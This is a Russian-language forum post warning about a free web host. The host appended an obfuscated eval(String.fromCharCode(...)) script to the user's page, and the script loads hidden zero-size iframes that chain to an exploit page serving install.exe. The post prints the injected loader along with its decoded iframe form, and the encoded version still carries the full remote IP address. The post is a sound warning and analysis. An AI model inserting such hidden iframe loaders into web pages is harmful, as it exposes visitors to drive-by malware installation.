awm_mark
Решил сегодня потестить некоторые скрипты, сделал акк на этом фрихосте, залил индекс, ну и посмотреть зашел. Хорошо что оперой, и стоит каспер, который начал орать как резаный. Смотрим код - что я вижу ! В самом низу, под </html> добавлена строка :
Цитата:
<script language=javascript>eval(String.fromCharCode(..00,..1..,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,105,102,114,97,109,101,32,115,114,99,61,39,104,116,116,112,58,47,47,54,57,46,53,48,46,49,54,49,46,49,52,50,47,105,110,99,47,110,97,110,49,55,46,104,116,109,108,39,32,115,116,121,108,101,61,39,100,105,115,112,108,97,121,58,110,111,110,101,39,62,60,47,105,102,114,97,109,101,62,34,41))</script>
что в переводе значит :
Цитата:
document.write("<iframe src='http://хх.50.161.142/inc/nan17.html' style='display:none'></iframe>")
ладно, переходим на ифрейм. В нем еще один ;) :
Цитата:
<iframe src="http://хх.50.190.131/?to=nan17&from=in" name="frame1" id="fr1" scrolling="auto" frameborder="no" align="center" height = "0px" width = "0px"></iframe>
Ну чтож пойдем посмотрим что там. Ну а там стоят : целая толпа экспов, загружающих и запускающих install.exe, по понятным причинам я не стану их тут выкладывать, и адреса по тем же причинам закрыты, т.к. эксплойты лежат в открытом виде.
Так что вот вам пользование такими фрихостами.